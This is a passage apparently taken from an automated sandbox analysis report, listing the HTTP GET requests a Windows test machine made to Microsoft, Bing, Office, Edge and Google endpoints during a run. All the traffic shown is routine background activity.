t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAay3PZhKuCkrPSyBC+K7jS3lqIgx8Fbh3P99oi5sRGvkmbvl2RGH4X2qzx1UdEdBUw9sFgvhNPCRd/vl7bxUKzV4sEzwTLWEkQ/dntSf4KvoW7ZBXGfu/oDdzIJTlyLzUWWtV2diANnBGjU9MnwzFQ6qNVHxZrBzQJUrzIJalVCOgQPea/AReTYEo0YNIZNffKvav7hxXhm5deBNslSLDuHAfnLcx/DpC5Q4TWiL80qk9/KgM7D9WmClKcQMerHwQLX+Iq20oi8kPFwASv0aOjJhF5A4W/PAEqtLCwJABrwr/fOzy6fB7ugjEV53NE7TiNDkhQZ6Hcpa0zkoG8di34AQZgAAEJZf5Y8wCICPvPK+lWhfMliwAQLru2vWpGnoTiAh+ZkVhtnGcXTenkKJfOx0+xNu3wXZbOu/CUaA9/+UB2RQ8nrA3J63lkzNtHGL4iPuXeJG34Ij/KzxMz/lhbvDfH2KsWL5MOMm50sgZJFcomS7VuhaSIvNd/oRxxxdeC2EyqJ3Fpoql3OvT3w3apYaRmi5/YYIwJ+mFFYiIasYr2MztIp2MvEScVARIB6C/zIG17xuvU2IedZDF261TYv4DOL/V3sl4MXgagdeV8qpa3QvSTA+2XEVqRCNkWytoLY0KdTnLKvMkJwhluD7KnyKN9hgEGP6nnYwo/wqcOpt/yvcxM4D7Fb6OMt5wh+6rx5bybn+42jMLdQtn1vULEH+7Wdu9WEKb+pgY8a6f5yB6wamUhui+Ad7szIBR8r04ZwzuebMGEzUx8uiwqPwfvP/176HaRFxs2bGn1qSHvXgFfrLLn9R/xChp26GwWciHc9xleM7JeQZ67xvMKoBEUfLrOrcPmWN2O/RRJp+RJtvFCQ1pqcZl1oGlOxjjEDsO53us0k9MdRg2liTXjY0w0Ua2xPTU2pImvd4HY183+u12oJVumFcN9cB&p=Cache-Control: no-cacheMS-CV: x+uPAxlRTkK/BE4k.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402415262_1QYE6F4QD8CN041QB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402415261_1RYOARG5S55IRLQU7&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399109664_12R6JVR4SJZQSTHCV&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639329_16GDTY03HO5SY2UBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402456886_16PSERWAUMTCB5AWR&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402414228_1EUMX2S6TUEXTBXLL&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402415510_1LQQ8WSBAXW97X0WT&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239359720591_10PHTLBML42K6TRZO&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=24&h=24&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402414375_1AVQBVS8V3X3ACPMA&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402414374_1RZXN1BFTHNSAZBQY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402414229_1P4RDVHBQE93FAZFW&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=WXfGgr4zxCL9dy4&MD=VeOW8cAr HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
